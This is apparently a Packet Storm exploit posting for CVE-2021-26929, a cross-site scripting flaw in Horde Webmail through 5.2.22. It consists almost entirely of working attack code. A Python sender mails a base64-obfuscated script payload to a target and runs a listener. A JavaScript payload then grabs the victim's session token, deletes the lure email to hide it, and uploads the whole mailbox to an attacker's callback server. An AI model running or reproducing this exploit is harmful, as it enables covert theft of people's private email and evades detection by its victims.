Webmail Edition 5.2.22 XSS / Remote Code Execution ≈ Packet Storm

# Exploit Title: Remote code execution XSS Horde_Text_Filter library Webmail Edition through 5.2.22
# Author: Alex Birnberg
# Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty System Administrator - Infrastructure Engineer
# Date: 04.14.2021
# Vendor: webmail
# Link: https://github.com/horde/webmail/releases
# CVE: CVE-2021-26929

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929

[Exploit Program Code]

#!/usr/bin/python3
# debug nu11secur1ty 2021
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
def __init__(self, args):
# Database
if not os.path.exists('database.db'):
with sqlite3.connect("database.db") as conn:
cursor = conn.cursor()
cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL
UNIQUE, content BLOB NOT NULL);')
conn.commit()
# SMTP URL
o = urlparse(args.smtp)
self.smtp = {
'ssl': o.scheme.lower() == 'smtps',
'host': o.hostname or '127.0.0.1',
'port': o.port or ('465' if o.scheme.lower() == 'smtps' else
'25'),
'username': '' or o.username,
'password': '' or o.password
}
try:
if self.smtp['ssl']:
context = ssl.create_default_context()
context.verify_mode = ssl.CERT_OPTIONAL
context.check_hostname = False
self.server = smtplib.SMTP_SSL(self.smtp['host'],
self.smtp['port'], context=context)
else:
self.server = smtplib.SMTP(self.smtp['host'],
self.smtp['port'])
except Exception as e:
print(e)
print('[-] Error connecting to SMTP server!')
exit()
try:
self.server.login(self.smtp['username'], self.smtp['password'])
except:
pass
# Callback URL
o = urlparse(args.callback)
self.callback = {
'url': '{}://{}'.format(o.scheme, o.netloc),
'path': ''.join(random.choice(string.ascii_letters) for i in
range(20))
}
# Listener URL
o = urlparse(args.listener)
self.listener = {
'ssl': o.scheme.lower() == 'https',
'host': o.hostname or '0.0.0.0',
'port': o.port or 80,
'horde': ''.join(random.choice(string.ascii_letters) for i in
range(20))
}
# Target email
self.target = args.target
# Subject
self.subject = args.subject or 'Important Message'
# Environment
self.env = {}
self.env['mailbox'] = args.mailbox or 'INBOX'
self.env['callback'] = '{}/{}'.format(self.callback['url'],
self.callback['path'])

def trigger(self):
print('[*] Waiting for emails...')
self.bypass_auth()
print('\n[*] Done')

def bypass_auth(self):
def horde():
f = open('horde.js')
content = 'env = {};\n\n{}'.format(json.dumps(self.env),
f.read())
f.close()
return content

def callback():
response = Response('')
with sqlite3.connect("database.db") as conn:
try:
if request.files.get('mbox'):
filename =
request.files.get('mbox').filename.replace('zip', 'mbox')
content = request.files.get('mbox').stream.read()
zipdata = io.BytesIO()
zipdata.write(content)
content = zipfile.ZipFile(zipdata)
content = content.open(filename).read()
mail_hash = hashlib.sha1(content).digest().hex()
print('[+] Received mailbox
({})'.format(mail_hash))
cursor = conn.cursor()
cursor.execute('INSERT INTO mailbox (hash, content)
VALUES (?, ?)', (mail_hash, content))
except:
pass
response.headers['Access-Control-Allow-Origin'] = '*'
return response

payload = 'var
s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'],
self.listener['horde'])
payload =
'<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject,
self.smtp['username'], self.target)
# The secret services :)
content +=
'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
self.server.sendmail(self.smtp['username'], self.target, content)
app = Flask(__name__)
app.add_url_rule('/{}'.format(self.listener['horde']), 'horde',
horde)
app.add_url_rule('/{}'.format(self.callback['path']), 'callback',
callback, methods=['POST'])
logging.getLogger('werkzeug').setLevel(logging.ERROR)
cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None
try:
if self.listener['ssl']:
app.run(host=self.listener['host'],
port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
else:
app.run(host=self.listener['host'],
port=self.listener['port'])
except:
pass

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--smtp', help='SMTP URL', required=True,
metavar='URL')
parser.add_argument('--callback', help='Callback URL', required=True,
metavar='URL')
parser.add_argument('--listener', help='Listener URL', metavar='URL')
parser.add_argument('--target', help='Target email', required=True,
metavar='EMAIL')
parser.add_argument('--subject', help='Email subject',
metavar='SUBJECT')
parser.add_argument('--mailbox', help='Mailbox from which to steal the
emails', metavar='INBOX')
args = parser.parse_args()
exploit = Exploit(args)
exploit.trigger()
horde.js

class Exploit {
constructor() {
this.basepath = document.location.pathname.substring(0,
document.location.pathname.indexOf('imp'));
}

trigger() {
this.mailbox = this.get_mailbox();
this.buid = this.get_buid();
this.token = this.get_token();
this.auto_delete()
.then(() => {
this.exfiltrate_emails({mailbox: env.mailbox});
});
}

async auto_delete() {
let params = new URLSearchParams()
params.append('token', this.token);
params.append('view', this.mailbox);
params.append('buid', this.buid);
return fetch(this.basepath +
'services/ajax.php/imp/deleteMessages', {
method: 'POST',
body: params
})
.then(() => {
let params = new URLSearchParams();
params.append('token', this.token);
params.append('view', this.mailbox);
return fetch(this.basepath +
'services/ajax.php/imp/purgeDeleted', {
method: 'POST',
body: params
})
.then(() => {
if (document.getElementById('checkmaillink') !== null) {
document.getElementById('checkmaillink').click();
}
});
});
}

async exfiltrate_emails(args) {
let mbox_list = '["' + this.get_mailbox() + '"]';
if (args.mailbox.toUpperCase() != 'INBOX') {
let params = new URLSearchParams();
params.append('reload', '1');
params.append('unsub', '1');
params.append('token', this.token);
let mailboxes = await fetch(this.basepath +
'services/ajax.php/imp/listMailboxes', {
method: 'POST',
body: params
})
.then(response => {
return response.text();
})
.then(data => {
return JSON.parse(data.substring(10, data.length - 2));

});
mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
if (mailbox.l.toUpperCase() == args.mailbox) {
if (mbox_list === undefined) {
mbox_list = '["' + mailbox.m + '"]';
}
}
});
}
let zip = await fetch(this.basepath +
'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list
+ '&type=mboxzip&token=' + this.token + '&fn=/')
.then(response => {
return [response.blob(),
response.headers.get('Content-Disposition')];
});
let filename = zip[1];
filename = filename.substring(filename.indexOf('filename="') + 10,
filename.length - 1);
zip = await zip[0];
let formData = new FormData();
formData.append('mbox', zip, filename);
fetch(window.env.callback, {
method: 'POST',
body: formData
});
}

get_token() {
let link;
let token;
if (document.getElementsByClassName('smartmobile-logout').length >
0) {
link =
document.getElementsByClassName('smartmobile-logout')[0].href;
}
else if (document.getElementById('horde-logout') !== null) {
link =
document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
}
else {
link = location.href;
}
if (link.match('horde_logout_token=(.*)&') !== null) {
token = link.match('horde_logout_token=(.*)&')[1];
}
if (token === undefined && link.match('token=(.*)&') !== null) {
token = link.match('token=(.*)&')[1];
}
return token;
}

get_mailbox() {
if (window.DimpBase !== undefined) {
return
DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
VP_id: {
equal: [ DimpBase.pp.VP_id ]
}
}).get('dataob').first().VP_view;
}
else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
}
else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
return location.href.match('mbox=([A-Za-z0-9]*)')[1];
}
}

get_buid() {
if (location.href.match('buid=([0-9]*)') !== null) {
return location.href.match('buid=([0-9]*)')[1];
}
else if (location.href.match(';([0-9]*)') !== null) {
return location.href.match(';([0-9]*)')[1];
}
}
}

const exploit = new Exploit();
exploit.trigger();

---------------------------------

# Exploit Title: remote code execution XSS Horde_Text_Filter library
# Date: 04.14.2021
# Exploit Authotr idea: Alex Birnberg
# Exploit Debugging: nu11secur1ty
# Vendor Homepage: webmail
# Software Link: https://github.com/horde/webmail/releases

# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-26929/README.MD